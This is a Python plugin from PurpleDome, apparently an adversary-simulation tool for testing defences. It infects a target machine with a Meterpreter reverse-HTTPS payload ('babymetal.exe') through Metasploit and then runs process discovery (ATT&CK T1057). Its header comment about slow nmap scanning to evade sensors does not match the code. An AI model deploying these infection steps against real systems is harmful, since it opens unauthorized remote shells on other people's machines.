PurpleDome/plugins/default/metasploit_attacks/metasploit_ps_t1057/metasploit_ps.py

#!/usr/bin/env python3

# A plugin to nmap targets slow motion, to evade sensors

from plugins.base.attack import AttackPlugin, Requirement
from app.metasploit import MetasploitInstant


class MetasploitPsPlugin(AttackPlugin):

    # Boilerplate
    name = "metasploit_ps"
    description = "Process discovery via metasploit"
    ttp = "T1057"
    references = ["https://attack.mitre.org/techniques/T1057/"]

    required_files = []    # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share

    requirements = [Requirement.METASPLOIT]

    def __init__(self):
        super().__init__()
        self.plugin_path = __file__

    def run(self, targets):
        """ Run the command

        @param targets: A list of targets, ip addresses will do
        """

        res = ""
        payload_type = "windows/x64/meterpreter/reverse_https"
        payload_name = "babymetal.exe"
        target = self.targets[0]

        self.metasploit.smart_infect(target,
                                payload=payload_type,
                                outfile=payload_name,
                                format="exe",
                                architecture="x64")

        self.metasploit.ps_process_discovery(target)

        return res